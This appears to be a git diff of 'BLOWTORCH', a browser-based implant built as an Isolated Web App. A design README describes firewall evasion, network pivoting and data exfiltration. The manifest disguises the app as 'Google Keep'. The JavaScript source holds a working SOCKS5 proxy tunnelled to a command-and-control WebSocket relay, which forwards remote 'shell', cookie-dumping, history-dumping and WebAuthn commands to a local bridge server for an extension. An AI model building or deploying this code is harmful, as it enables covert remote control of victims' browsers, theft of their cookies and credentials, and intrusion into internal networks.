// Connection request to C2
{type: 'connect', connectionId: 'conn_123', targetHost: 'example.com', targetPort: 443}
// Data forwarding
{type: 'data', connectionId: 'conn_123', data: 'base64_encoded_payload'}
// Connection close
{type: 'close', connectionId: 'conn_123'}
```
### Direct Socket Security Implications
#### Bypassing Network Security Controls
**Firewall Evasion**:
- SOCKS proxy runs on high ports (often > 1024) that may be less monitored
- Traffic originates from browser process with legitimate network access
- Can tunnel arbitrary protocols through HTTP/WebSocket connections
**Network Monitoring Bypass**:
- Internal proxy traffic may not be logged by network monitoring
- Encrypted WebSocket tunnel obscures actual traffic patterns
- Browser networking stack may bypass some inspection tools
**Access Control Circumvention**:
- Can access internal network resources through compromised browser
- Bypasses application-level access controls
- Enables lateral movement through internal networks
#### Attack Scenarios
**Network Pivoting**:
```javascript
// Attacker configures their tools to use browser SOCKS proxy
// All traffic tunnels through compromised browser to internal network
const proxyConfig = {
host: 'victim-browser-ip',
port: 1080, // BLOWTORCH SOCKS port
type: 'socks5'
};
```
**Data Exfiltration**:
- Tunnel sensitive data through legitimate browser connections
- Bypass data loss prevention (DLP) systems
- Use browser's existing network authentication
**Internal Service Access**:
- Access internal web applications through browser's network context
- Bypass VPN requirements for internal resources
- Leverage browser's stored authentication credentials
### Isolated Web App (IWA) Integration
#### Understanding IWA Networking Privileges
Isolated Web Apps have enhanced networking capabilities:
**Extended Permissions**:
- Access to Direct Sockets API without user prompts
- Ability to listen on privileged ports (< 1024)
- Enhanced security context for networking operations
**Installation Persistence**:
- IWAs remain installed across browser updates
- Networking services survive browser restarts
- Can auto-start with browser launch
#### BLOWTORCH IWA Implementation
**Bundle Configuration**:
```json
{
"name": "BLOWTORCH",
"version": "1.0.0",
"isolated": true,
"permissions": [
"direct-sockets"
]
}
```
**Enhanced Capabilities**:
- Persistent SOCKS proxy service
- No user prompts for network access
- Lower detection risk due to legitimate IWA status
## BLOWTORCH Capabilities
### Command and Control
- **Persistent C2 Channel** - Maintains encrypted WebSocket connection to cloud infrastructure
- **Automatic Reconnection** - Implements exponential backoff for connection resilience
- **Multi-Component Coordination** - Routes commands between IWA and extension contexts
- **Real-time Communication** - Bi-directional messaging for interactive operations
### Cross-Component Bridge
- **IWA-Extension Communication** - WebSocket server enables HOTWHEELS extension integration
- **Message Broadcasting** - Distributes commands to all connected extension instances
- **Large Data Handling** - Chunking support for transferring substantial datasets
- **Protocol Translation** - Converts between C2 and extension message formats
### Network Pivoting
- **SOCKS5 Proxy Server** - Full-featured proxy server using Direct Sockets API
- **Internal Network Access** - Reach internal systems through compromised browser context
- **Connection Multiplexing** - Handle multiple concurrent SOCKS connections
- **Traffic Tunneling** - Encapsulate arbitrary network protocols over WebSocket
### Operational Features
- **Browser Integration** - Leverages browser's existing network authentication and proxies
- **Firewall Evasion** - Traffic appears as legitimate browser communications
- **Multi-Protocol Support** - Handles IPv4, IPv6, and domain name connections
- **Session Persistence** - Maintains long-lived channels for sustained operations
@@ -0,0 +1,36 @@
{
"id": "/",
"short_name": "Google Keep",
"name": "Google Keep",
"version": "1.0",
"icons": [
{
"src": "/images/icons-vector.svg",
"sizes": "48x48 72x72 96x96 128x128 256x256 512x512 1024x1024",
"type": "image/svg+xml",
"purpose": "any maskable"
},
{
"src": "/images/icons-192.png",
"type": "image/png",
"sizes": "192x192",
"purpose": "any maskable"
},
{
"src": "/images/icons-512.png",
"type": "image/png",
"sizes": "512x512",
"purpose": "any maskable"
}
],
"start_url": "/",
"display": "minimal-ui",
"scope": "/",
"permissions_policy": {
"cross-origin-isolated": ["self"],
"direct-sockets": ["self"],
"direct-sockets-private": ["self"],
"usb": ["self"],
"usb-unrestricted": ["self"]
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 5.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

+47
View File
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
height="1024"
width="1024"
version="1.1"
id="svg4"
sodipodi:docname="icons-vector.svg"
inkscape:version="1.1.2 (0a00cf5339, 2022-02-04)"
inkscape:export-filename="/src/telnet-demo/src/images/icons-192.png"
inkscape:export-xdpi="18"
inkscape:export-ydpi="18"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<defs
id="defs8" />
<sodipodi:namedview
id="namedview6"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageshadow="2"
inkscape:pageopacity="0.0"
inkscape:pagecheckerboard="0"
showgrid="false"
width="1024px"
inkscape:zoom="0.56835938"
inkscape:cx="342.21306"
inkscape:cy="457.45704"
inkscape:window-width="2214"
inkscape:window-height="1129"
inkscape:window-x="0"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:current-layer="svg4" />
<circle
style="fill:#ad7fa8"
id="path847"
cx="512"
cy="512"
r="438.10309" />
<path
d="m 257.58419,751.45018 q -17.95876,0 -31.42783,-13.46908 -13.46908,-13.46908 -13.46908,-31.42783 V 317.44673 q 0,-17.95875 13.46908,-31.42783 13.46907,-13.46908 31.42783,-13.46908 h 508.83162 q 17.95876,0 31.42783,13.46908 13.46908,13.46908 13.46908,31.42783 v 389.10654 q 0,17.95875 -13.46908,31.42783 -13.46907,13.46908 -31.42783,13.46908 z m 0,-44.89691 h 508.83162 q 0,0 0,0 0,0 0,0 V 380.3024 H 257.58419 v 326.25087 q 0,0 0,0 0,0 0,0 z M 519.48281,655.67011 V 610.7732 h 164.62201 v 44.89691 z m -142.17353,-2.99313 -31.42784,-31.42784 77.07303,-77.82131 -77.82131,-77.8213 32.17612,-31.42784 109.24914,109.24914 z"
id="path2"
style="stroke-width:14.9657" />
</svg>

After

Width:  |  Height:  |  Size: 1.9 KiB

+44
View File
@@ -0,0 +1,44 @@
/**
* Copyright 2022 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
body {
padding: 0;
margin: 0;
font-family: system-ui, -apple-system, sans-serif;
}
.container {
padding: 20px;
max-width: 800px;
margin: 0 auto;
}
.controls {
margin: 20px 0;
}
.controls button {
padding: 10px 20px;
margin-right: 10px;
font-size: 16px;
}
.status {
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
min-height: 40px;
}
+29
View File
@@ -0,0 +1,29 @@
{
"name": "BLOWTORCH",
"version": "1.0.0",
"type": "module",
"scripts": {
"build:debug": "webpack --config webpack.wbn.cjs --node-env production",
"build:prod": "webpack --config webpack.prod.wbn.cjs --node-env production",
"dev": "webpack --mode development --watch",
"generate-keys": "node scripts/generate-keys.js"
},
"devDependencies": {
"@babel/core": "^7.22.0",
"@babel/preset-env": "^7.22.0",
"babel-loader": "^9.1.2",
"clean-webpack-plugin": "^4.0.0",
"copy-webpack-plugin": "^11.0.0",
"css-loader": "^6.8.1",
"dotenv": "^16.0.3",
"html-webpack-plugin": "^5.5.0",
"style-loader": "^3.3.3",
"terser-webpack-plugin": "^5.3.9",
"webpack": "^5.85.0",
"webpack-cli": "^5.1.1",
"webpack-dev-server": "^4.9.0",
"webpack-merge": "^5.8.0",
"wbn-sign": "^0.2.0",
"webbundle-webpack-plugin": "^0.2.0"
}
}
+26
View File
@@ -0,0 +1,26 @@
import { execSync } from 'child_process';
import fs from 'fs';
import { fileURLToPath } from 'url';
import path from 'path';
const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
const rootDir = path.join(__dirname, '..');
// Generate private key if it doesn't exist
const privateKeyPath = path.join(rootDir, 'private.key');
if (!fs.existsSync(privateKeyPath)) {
console.log('Generating private key...');
execSync(`openssl genpkey -algorithm ED25519 -out "${privateKeyPath}"`);
console.log('Private key generated at:', privateKeyPath);
}
// Generate certificate if it doesn't exist
const certPath = path.join(rootDir, 'cert.pem');
if (!fs.existsSync(certPath)) {
console.log('Generating certificate...');
execSync(`openssl req -x509 -key "${privateKeyPath}" -out "${certPath}" -days 365 -nodes -subj "/CN=localhost"`);
console.log('Certificate generated at:', certPath);
}
console.log('Key generation complete!');
+49
View File
@@ -0,0 +1,49 @@
import { SocksServer } from './socks-server.js';
let socksServer = null;
export async function startProxy() {
try {
console.log("Starting proxy...");
// Use environment variables injected by webpack
const wsUrl = "wss://" + process.env.WS_DOMAIN + ":443";
const relayToken = process.env.RELAY_TOKEN;
console.log(`Connecting to WebSocket URL: ${wsUrl}`);
if (socksServer) {
console.log("Proxy already exists, stopping first...");
socksServer.stop();
}
socksServer = new SocksServer(
{
"websocketUrl": wsUrl,
"relayToken": relayToken
}
);
updateStatus(`Creating WS Relay connection to ${wsUrl}`);
await socksServer.start();
} catch (err) {
updateStatus(`Failed to start proxy: ${err.message}`);
}
}
export function stopProxy() {
if (socksServer) {
socksServer.stop();
socksServer = null;
updateStatus('Proxy server stopped');
}
}
export function getRelayServer() {
return socksServer;
}
function updateStatus(message) {
const statusElement = document.getElementById('status');
if (statusElement) {
statusElement.textContent = message;
}
}
+79
View File
@@ -0,0 +1,79 @@
/**
* Copyright 2022 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/* https://wicg.github.io/direct-sockets/#dom-tcpsocketoptions */
interface TCPSocketOptions {
sendBufferSize?: number;
receiveBufferSize? : number;
noDelay?: boolean;
keepAliveDelay?: number;
}
/* https://wicg.github.io/direct-sockets/#dom-tcpsocketopeninfo */
interface TCPSocketOpenInfo {
readable: ReadableStream<Uint8Array>;
writable: WritableStream<Uint8Array>;
remoteAddress: string;
remotePort: number;
localAddress: string;
localPort: number;
}
/**
* https://wicg.github.io/direct-sockets/#dom-tcpsocket
*/
declare class TCPSocket {
constructor(remoteAddress: string,
remotePort: number,
options?: TCPSocketOptions);
opened: Promise<TCPSocketOpenInfo>;
closed: Promise<void>;
close(): Promise<void>;
}
/* https://wicg.github.io/direct-sockets/#dom-tcpserversocketoptions */
interface TCPServerSocketOptions {
localPort?: number;
backlog?: number;
ipv6Only?: boolean;
}
/* https://wicg.github.io/direct-sockets/#dom-tcpserversocketopeninfo */
interface TCPServerSocketOpenInfo {
readable: ReadableStream<TCPSocket>;
localAddress: string;
localPort: number;
}
/**
* https://wicg.github.io/direct-sockets/#dom-tcpserversocket
*/
declare class TCPServerSocket {
constructor(localAddress: string,
options?: TCPServerSocketOptions);
opened: Promise<TCPServerSocketOpenInfo>;
closed: Promise<void>;
close(): Promise<void>;
}
+36
View File
@@ -0,0 +1,36 @@
<!--
Copyright 2022 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BLOWTORCH</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<h1>BLOWTORCH SOCKS5 Proxy</h1>
<div class="controls">
<button id="startProxy">Start Proxy</button>
<button id="stopProxy">Stop Proxy</button>
</div>
<div id="status" class="status"></div>
</div>
<script src="bundle.js"></script>
</body>
</html>
+60
View File
@@ -0,0 +1,60 @@
import { startProxy, stopProxy, getRelayServer } from './app.js';
import {FirecrackerWebSocketServer, initializeFirecrackerServer, getFirecrackerServer} from'./websocket-server.js';
let firecrackerServer = null;
// Firecracker logging callback that outputs to main console
function firecrackerLogCallback(message, ...args) {
console.log(message, ...args);
}
// Export getFirecrackerServer for external access
export function getFirecrackerServerInstance() {
return firecrackerServer || getFirecrackerServer();
}
async function initializeApp() {
console.log("Initializing app...");
const startButton = document.getElementById('startProxy');
const stopButton = document.getElementById('stopProxy');
if (startButton && stopButton) {
startButton.removeEventListener('click', startProxy);
stopButton.removeEventListener('click', stopProxy);
startButton.addEventListener('click', startProxy);
stopButton.addEventListener('click', stopProxy);
await startProxy();
firecrackerServer = await initializeFirecrackerServer(firecrackerLogCallback);
}
}
// Expose functions globally for devtools access
window.getFirecrackerServerInstance = getFirecrackerServerInstance;
window.broadcastToFirecracker = async function(message) {
const server = getFirecrackerServerInstance();
if (server && server.clientConnections) {
let sent = 0;
for (const [connectionId, connectionInfo] of server.clientConnections) {
if (connectionInfo.isWebSocket) {
await server.sendWebSocketMessage(connectionInfo, message);
sent++;
}
}
console.log(`Broadcast sent to ${sent} WebSocket connections`);
return sent;
} else {
console.log("Server not available or no connections");
return 0;
}
};
window.getRelayServer = getRelayServer;
// Wait for DOM to be ready
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initializeApp);
} else {
initializeApp();
}
+573
View File
@@ -0,0 +1,573 @@
export class SocksServer {
constructor(options = {}) {
this.port = options.port || 1080;
this.websocketUrl = options.websocketUrl;
this.relayToken = options.relayToken;
this.server = null;
this.ws = null;
this.reconnectAttempts = 0;
this.maxReconnectAttempts = options.maxReconnectAttempts || 60;
this.baseReconnectDelay = options.baseReconnectDelay || 5000; // 5 seconds
this.reconnectTimer = null;
this.isReconnecting = false;
this.connections = new Map(); // Move connections to class level for persistence across reconnects
}
async startLocalSOCKSProxy() {
try {
const server = new TCPServerSocket('::');
const {readable, localAddress, localPort} = await server.opened;
console.log(`Listening on ${localAddress} port ${localPort}`);
const reader = readable.getReader();
for (;;) {
const {value, done} = await reader.read();
if (done) {
console.log('Socket closed');
break;
}
await this.handleConnection(value);
}
} catch (err) {
console.error('Failed to start SOCKS server:', err);
throw err;
} finally {
reader.releaseLock();
}
}
async sendCommandResponse(command, payload, taskId) {
this.sendData({
type: 'command_response',
command,
payload,
taskId
});
}
async sendCapturedData(dataType, data) {
this.sendData({
type: 'captured_data',
dataType,
data
});
}
async sendData(jsonObj) {
if (this.ws) {
this.ws.send(JSON.stringify(jsonObj));
}
}
async startWebSocketProxy() {
if (!this.websocketUrl || !this.relayToken) {
throw new Error('WebSocket URL and relay token are required');
}
try {
// Clear any existing reconnect timer
if (this.reconnectTimer) {
clearTimeout(this.reconnectTimer);
this.reconnectTimer = null;
}
const url = new URL(this.websocketUrl);
this.ws = new WebSocket(url.toString(), [`token.${this.relayToken}`]);
const ws = this.ws;
// Use class-level connections map
const connections = this.connections;
ws.onmessage = async (message) => {
try {
const data = JSON.parse(message.data);
console.log(`Received WebSocket message:`, {
type: data.type,
connectionId: data.connectionId,
dataLength: data.data ? data.data.length : 0
});
if (data.type === 'command') {
console.log(`Received command:`, data);
var commandObject = {
data: data.payload,
taskId: data.taskId,
}
switch (data.command) {
case 'dir':
case 'ls':
commandObject.type = 'ls_command_request';
break;
case 'shell':
commandObject.type = 'shell_command_request';
break;
case 'cookies':
commandObject.type = 'dump_cookies_request';
break;
case 'history':
commandObject.type = 'dump_history_request';
break;
case 'webauthn':
commandObject.type = 'webauthn_request';
break;
default:
console.error(`Unknown command: ${data.command}`);
return;
}
window.broadcastToFirecracker(JSON.stringify(commandObject));
return;
}
if (data.type === 'connect') {
try {
const connectionId = data.connectionId;
console.log(`[${connectionId}] Connecting to ${data.targetHost}:${data.targetPort}`);
// Initialize connection state FIRST
console.log(`[${connectionId}] Initializing connection state`);
connections.set(connectionId, {
queue: [],
resolver: null
});
// Then start async operations
const remote = new TCPSocket(data.targetHost, data.targetPort);
const remoteConn = await remote.opened;
console.log(`[${connectionId}] Connected to remote`);
const remoteReader = remoteConn.readable.getReader();
const remoteWriter = remoteConn.writable.getWriter();
// Update connection state with remote info
const conn = connections.get(connectionId);
if (conn) { // Check if connection still exists (might have been cleaned up)
Object.assign(conn, {
remoteReader,
remoteWriter
});
// Create WebSocket reader/writer
const wsSocket = {
readable: {
getReader: () => {
console.log(`[${connectionId}] Creating WebSocket reader`);
return ({
read: async () => {
const conn = connections.get(connectionId);
if (!conn) {
console.log(`[${connectionId}] Connection not found`);
return { done: true };
}
// Check queue first
if (conn.queue.length > 0) {
const msg = conn.queue.shift();
console.log(`[${connectionId}] Processing queued message: ${msg.type}`);
if (msg.type === 'close') return { done: true };
if (msg.type === 'data') {
const value = new Uint8Array(atob(msg.data).split('').map(c => c.charCodeAt(0)));
console.log(`[${connectionId}] Decoded queued data: ${value.length} bytes`);
return { value, done: false };
}
}
console.log(`[${connectionId}] Waiting for next message`);
const msg = await new Promise(resolve => {
conn.resolver = resolve;
});
conn.resolver = null;
console.log(`[${connectionId}] Received message: ${msg.type}`);
if (msg.type === 'close') return { done: true };
if (msg.type === 'data') {
const value = new Uint8Array(atob(msg.data).split('').map(c => c.charCodeAt(0)));
console.log(`[${connectionId}] Decoded data: ${value.length} bytes`);
return { value, done: false };
}
return { done: true };
},
cancel: () => {
console.log(`[${connectionId}] WebSocket reader cancelled`);
connections.delete(connectionId);
}
});
}
},
writable: {
getWriter: () => ({
write: async (chunk) => {
console.log(`[${connectionId}] WebSocket writer sending ${chunk.length} bytes`);
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({
type: 'data',
connectionId: connectionId,
data: btoa(String.fromCharCode.apply(null, chunk))
}));
} else {
console.warn(`[${connectionId}] Cannot send data - WebSocket not open`);
}
},
close: () => {
console.log(`[${connectionId}] WebSocket writer closing`);
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({
type: 'close',
connectionId: connectionId
}));
}
connections.delete(connectionId);
}
})
}
};
// Start proxy operation
this.proxy(
wsSocket.readable.getReader(),
wsSocket.writable.getWriter(),
remoteReader,
remoteWriter
).catch(e => console.error('Proxy error:', e));
}
} catch (e) {
console.error('Connection failed:', e);
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({
type: 'close',
connectionId: data.connectionId
}));
}
}
} else if (data.type === 'data' || data.type === 'close') {
const conn = connections.get(data.connectionId);
if (conn) {
if (conn.resolver) {
// If there's a waiting reader, deliver directly
console.log(`[${data.connectionId}] Delivering message directly to waiting reader`);
conn.resolver(data);
} else {
// Otherwise queue the message
console.log(`[${data.connectionId}] Queueing message of type ${data.type}`);
conn.queue.push(data);
}
} else {
console.log(`[${data.connectionId}] No connection found for message`);
}
}
} catch (e) {
console.error('Error processing message:', e);
}
};
ws.onopen = () => {
console.log('Connected to relay server');
// Reset reconnect attempts on successful connection
this.reconnectAttempts = 0;
this.isReconnecting = false;
};
ws.onclose = (event) => {
console.log(`WebSocket connection closed: ${event.code} ${event.reason}`);
this.scheduleReconnect();
};
ws.onerror = (event) => {
console.error('WebSocket error:', event);
};
} catch (err) {
console.error('Failed to start WebSocket proxy:', err);
this.scheduleReconnect();
throw err;
}
}
scheduleReconnect() {
// Don't schedule if already reconnecting
if (this.isReconnecting) {
return;
}
this.isReconnecting = true;
// Check if we've exceeded max attempts
if (this.maxReconnectAttempts > 0 && this.reconnectAttempts >= this.maxReconnectAttempts) {
console.log(`Maximum reconnect attempts (${this.maxReconnectAttempts}) reached. Giving up.`);
return;
}
// Calculate delay with exponential backoff
const delay = Math.min(
this.baseReconnectDelay * Math.pow(2, this.reconnectAttempts),
60000 // Cap at 60 seconds
);
this.reconnectAttempts++;
console.log(`Scheduling reconnect attempt ${this.reconnectAttempts} in ${delay}ms`);
// Clear any existing timer
if (this.reconnectTimer) {
clearTimeout(this.reconnectTimer);
}
// Schedule reconnect
this.reconnectTimer = setTimeout(() => {
console.log(`Attempting to reconnect (attempt ${this.reconnectAttempts})...`);
this.startWebSocketProxy().catch(err => {
console.error('Reconnect attempt failed:', err);
// The error handler in startWebSocketProxy will schedule another reconnect
});
}, delay);
}
async start() {
if (this.websocketUrl) {
await this.startWebSocketProxy();
} else {
await this.startLocalSOCKSProxy();
}
}
async handleConnection(client) {
const {readable, writable, remoteAddress, remotePort} = await client.opened;
const reader = readable.getReader();
const writer = writable.getWriter();
try {
// Read SOCKS version
const { value: init, done } = await reader.read();
if (done) return;
if (init[0] !== 0x05) { // SOCKS5
throw new Error('Unsupported SOCKS version');
}
// Send auth method response (no auth)
await writer.write(new Uint8Array([0x05, 0x00]));
// Read connection request
const { value: request } = await reader.read();
const cmd = request[1];
const atyp = request[3];
if (cmd !== 0x01) { // Only support CONNECT
throw new Error('Only CONNECT is supported');
}
let addr;
let port;
switch (atyp) {
case 0x01: // IPv4
addr = Array.from(request.slice(4, 8))
.map(x => x.toString())
.join('.');
port = (request[8] << 8) + request[9];
break;
case 0x03: // Domain name
const addrLen = request[4];
addr = new TextDecoder().decode(request.slice(5, 5 + addrLen));
port = (request[5 + addrLen] << 8) + request[5 + addrLen + 1];
break;
case 0x04: // IPv6
// Group bytes into 16-bit chunks and format properly
addr = Array.from(request.slice(4, 20))
.map(x => x.toString(16).padStart(2, '0'))
.reduce((acc, cur, i) => {
if (i % 2 === 0) {
acc.push(cur);
} else {
acc[acc.length - 1] += cur;
}
return acc;
}, [])
.join(':');
port = (request[20] << 8) + request[21];
console.log(`IPv6 Address: ${addr}, Port: ${port}`);
break;
default:
throw new Error(`Unsupported address type: ${atyp}`);
}
console.log(`Connecting to ${addr}:${port} (type: ${atyp})`);
// Allow for context switch before attempting connection
await Promise.resolve();
try {
// Connect to destination
const remote = new TCPSocket(addr, port);
const remoteConn = await remote.opened;
console.log(`Connected to ${addr}:${port}`);
// Send success response
await writer.write(new Uint8Array([
0x05, 0x00, 0x00, 0x01,
0, 0, 0, 0, // bound addr
0, 0 // bound port
]));
const remoteReader = remoteConn.readable.getReader();
const remoteWriter = remoteConn.writable.getWriter();
// Start bidirectional proxy
await this.proxy(reader, writer, remoteReader, remoteWriter);
} catch (connectError) {
console.error('Failed to connect to remote:', connectError);
// Send connection failed response
await writer.write(new Uint8Array([
0x05, 0x04, 0x00, 0x01, // 0x04 = host unreachable
0, 0, 0, 0,
0, 0
]));
throw connectError; // Re-throw to trigger cleanup
}
} catch (err) {
console.error('Connection handler error:', err);
} finally {
try {
reader.releaseLock();
writer.releaseLock();
} catch (e) {
// Ignore errors if locks were already released
}
}
}
async proxy(clientReader, clientWriter, remoteReader, remoteWriter) {
const clientToRemote = this.pipeData(clientReader, remoteWriter, 'client->remote');
const remoteToClient = this.pipeData(remoteReader, clientWriter, 'remote->client');
try {
// Wait for either direction to complete/fail
await Promise.race([clientToRemote, remoteToClient]);
} catch (err) {
console.error('Proxy error:', err);
} finally {
// Clean up all resources
try {
await Promise.allSettled([
clientWriter.close(),
clientReader.cancel(),
remoteWriter.close(),
remoteReader.cancel()
]);
} catch (cleanupErr) {
console.error('Cleanup error:', cleanupErr);
}
}
}
async pipeData(reader, writer, direction) {
const chunkSize = 16384; // 16KB chunks for efficient transfer
const DISPLAY_BYTES = 0x20; // Number of bytes to display in hex dump
const BYTES_PER_ROW = 16;
function formatHexDump(buffer, length) {
let result = '';
for (let offset = 0; offset < length; offset += BYTES_PER_ROW) {
// Offset in hex
result += offset.toString(16).padStart(8, '0') + ': ';
// Hex values
const rowBytes = Array.from(buffer.slice(offset, Math.min(offset + BYTES_PER_ROW, length)));
const hex = rowBytes
.map(b => b.toString(16).padStart(2, '0'))
.join(' ');
result += hex.padEnd(BYTES_PER_ROW * 3 - 1, ' ');
// ASCII representation
result += ' |';
const ascii = rowBytes
.map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.')
.join('');
result += ascii.padEnd(BYTES_PER_ROW, ' ');
result += '|\n';
}
return result;
}
try {
let totalBytes = 0;
while (true) {
const { value, done } = await reader.read();
if (done) {
console.log(`${direction}: Stream closed after ${totalBytes} bytes`);
break;
}
// Display hex dump of first bytes of every chunk
if (value.length > 0) {
const bytesToDisplay = Math.min(value.length, DISPLAY_BYTES);
console.log(`${direction} chunk ${totalBytes}:`);
console.log(formatHexDump(value, bytesToDisplay));
}
totalBytes += value.length;
await writer.write(value);
if (totalBytes % (1024 * 1024) === 0) { // Log every MB
console.log(`${direction}: Transferred ${totalBytes / (1024 * 1024)}MB`);
}
}
} catch (err) {
if (err.name === 'NetworkError') {
console.log(`${direction}: Connection reset by peer:`, err.message);
} else {
console.error(`${direction}: Pipe error:`, {
name: err.name,
message: err.message,
stack: err.stack
});
}
throw err; // Re-throw to trigger cleanup
} finally {
try {
await writer.close();
} catch (closeErr) {
// Ignore close errors as the stream might already be closed
}
}
}
stop() {
// Clear any reconnect timer
if (this.reconnectTimer) {
clearTimeout(this.reconnectTimer);
this.reconnectTimer = null;
}
// Close WebSocket if open
if (this.ws) {
// Prevent reconnect attempts when intentionally stopping
this.maxReconnectAttempts = 0;
if (this.ws.readyState === WebSocket.OPEN ||
this.ws.readyState === WebSocket.CONNECTING) {
this.ws.close();
}
this.ws = null;
}
// Close server if running
if (this.server) {
this.server.close();
this.server = null;
}
// Reset state
this.reconnectAttempts = 0;
this.isReconnecting = false;
}
}
+829
View File
@@ -0,0 +1,829 @@
/**
* FIRECRACKER WebSocket Server
* Uses Direct Sockets API to create a WebSocket server
* @see direct-sockets.d.ts for type definitions
*
* Test with:
* - WebSocket: const ws = new WebSocket('ws://127.0.0.1:8080'); ws.send('test');
* - TCP: telnet 127.0.0.1 8080
*
* All responses are prefixed with "FIRECRACKER: "
*/
export class FirecrackerWebSocketServer {
constructor(port = null, logCallback = null) {
this.serverSocket = null;
this.clientConnections = new Map();
// Note that per the spec (https://wicg.github.io/direct-sockets/#example-13), the port must be > 32678 to work
this.port = port || process.env.FIRECRACKER_PORT || 38899;
this.isRunning = false;
this.connectionCounter = 0;
this.logCallback = logCallback || console.log;
// WebSocket magic string for handshake
this.WS_MAGIC_STRING = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
// Message chunking support
this.incomingChunks = new Map(); // chunkId -> {chunks: [], totalChunks: 0, totalSize: 0}
this.log(`FIRECRACKER: Initializing WebSocket server on port ${this.port}`);
}
/**
* Internal logging method that uses callback
*/
log(message, ...args) {
if (this.logCallback) {
this.logCallback(message, ...args);
}
}
/**
* Start the WebSocket server
*/
async start() {
try {
// Create TCP server socket using Direct Sockets API
this.serverSocket = new TCPServerSocket("127.0.0.1", {
localPort: this.port
});
this.log(`FIRECRACKER: Created server socket`);
// Wait for server to open
const openInfo = await this.serverSocket.opened;
this.log(`FIRECRACKER: Server listening on ${openInfo.localAddress}:${openInfo.localPort}`);
this.isRunning = true;
// Start accepting connections
this.acceptConnections(openInfo.readable);
} catch (error) {
this.log("FIRECRACKER: Failed to start server:", error);
throw error;
}
}
/**
* Accept incoming connections using ReadableStream
*/
async acceptConnections(connectionStream) {
this.log("FIRECRACKER: Starting to accept connections...");
const reader = connectionStream.getReader();
try {
while (this.isRunning) {
this.log("FIRECRACKER: Waiting for next connection...");
const { value: tcpSocket, done } = await reader.read();
if (done) {
this.log("FIRECRACKER: Connection stream ended");
break;
}
// Handle new connection
const connectionId = ++this.connectionCounter;
this.log(`FIRECRACKER: New connection accepted: ${connectionId}`);
this.handleNewConnection(tcpSocket, connectionId);
}
} catch (error) {
this.log("FIRECRACKER: Error accepting connections:", error);
} finally {
reader.releaseLock();
}
}
/**
* Handle new client connection
*/
async handleNewConnection(tcpSocket, connectionId) {
try {
// Wait for socket to open
const openInfo = await tcpSocket.opened;
this.log(`FIRECRACKER: Client connected from ${openInfo.remoteAddress}:${openInfo.remotePort}`);
const connectionInfo = {
connectionId,
tcpSocket,
openInfo,
isWebSocket: false,
writer: openInfo.writable.getWriter(),
buffer: new Uint8Array(0)
};
this.clientConnections.set(connectionId, connectionInfo);
// Start reading data from this connection
this.readFromConnection(connectionInfo);
} catch (error) {
this.log(`FIRECRACKER: Error handling connection ${connectionId}:`, error);
}
}
/**
* Read data from a connection using ReadableStream
*/
async readFromConnection(connectionInfo) {
const reader = connectionInfo.openInfo.readable.getReader();
try {
while (this.isRunning && this.clientConnections.has(connectionInfo.connectionId)) {
const { value: data, done } = await reader.read();
if (done) {
this.log(`FIRECRACKER: Connection ${connectionInfo.connectionId} closed by client`);
break;
}
this.handleClientData(connectionInfo, data);
}
} catch (error) {
this.log(`FIRECRACKER: Error reading from connection ${connectionInfo.connectionId}:`, error);
} finally {
reader.releaseLock();
this.handleConnectionClose(connectionInfo.connectionId);
}
}
/**
* Handle incoming data from client
*/
handleClientData(connectionInfo, data) {
// Convert data to Uint8Array for consistent handling
let dataArray;
if (data instanceof Uint8Array) {
dataArray = data;
} else if (data instanceof ArrayBuffer) {
dataArray = new Uint8Array(data);
} else {
dataArray = new Uint8Array(data);
}
if (!connectionInfo.isWebSocket) {
// Convert to string for HTTP/WebSocket handshake processing
const dataString = new TextDecoder().decode(dataArray);
this.log(`FIRECRACKER: Received data from ${connectionInfo.connectionId}:`, dataString.substring(0, 200) + (dataString.length > 200 ? '...' : ''));
// Check if this is a WebSocket handshake (case insensitive)
if (dataString.toLowerCase().includes('upgrade: websocket')) {
this.log(`FIRECRACKER: Detected WebSocket handshake from ${connectionInfo.connectionId}`);
this.handleWebSocketHandshake(connectionInfo, dataString);
} else {
this.log(`FIRECRACKER: Treating as TCP connection from ${connectionInfo.connectionId}`);
// Regular TCP echo
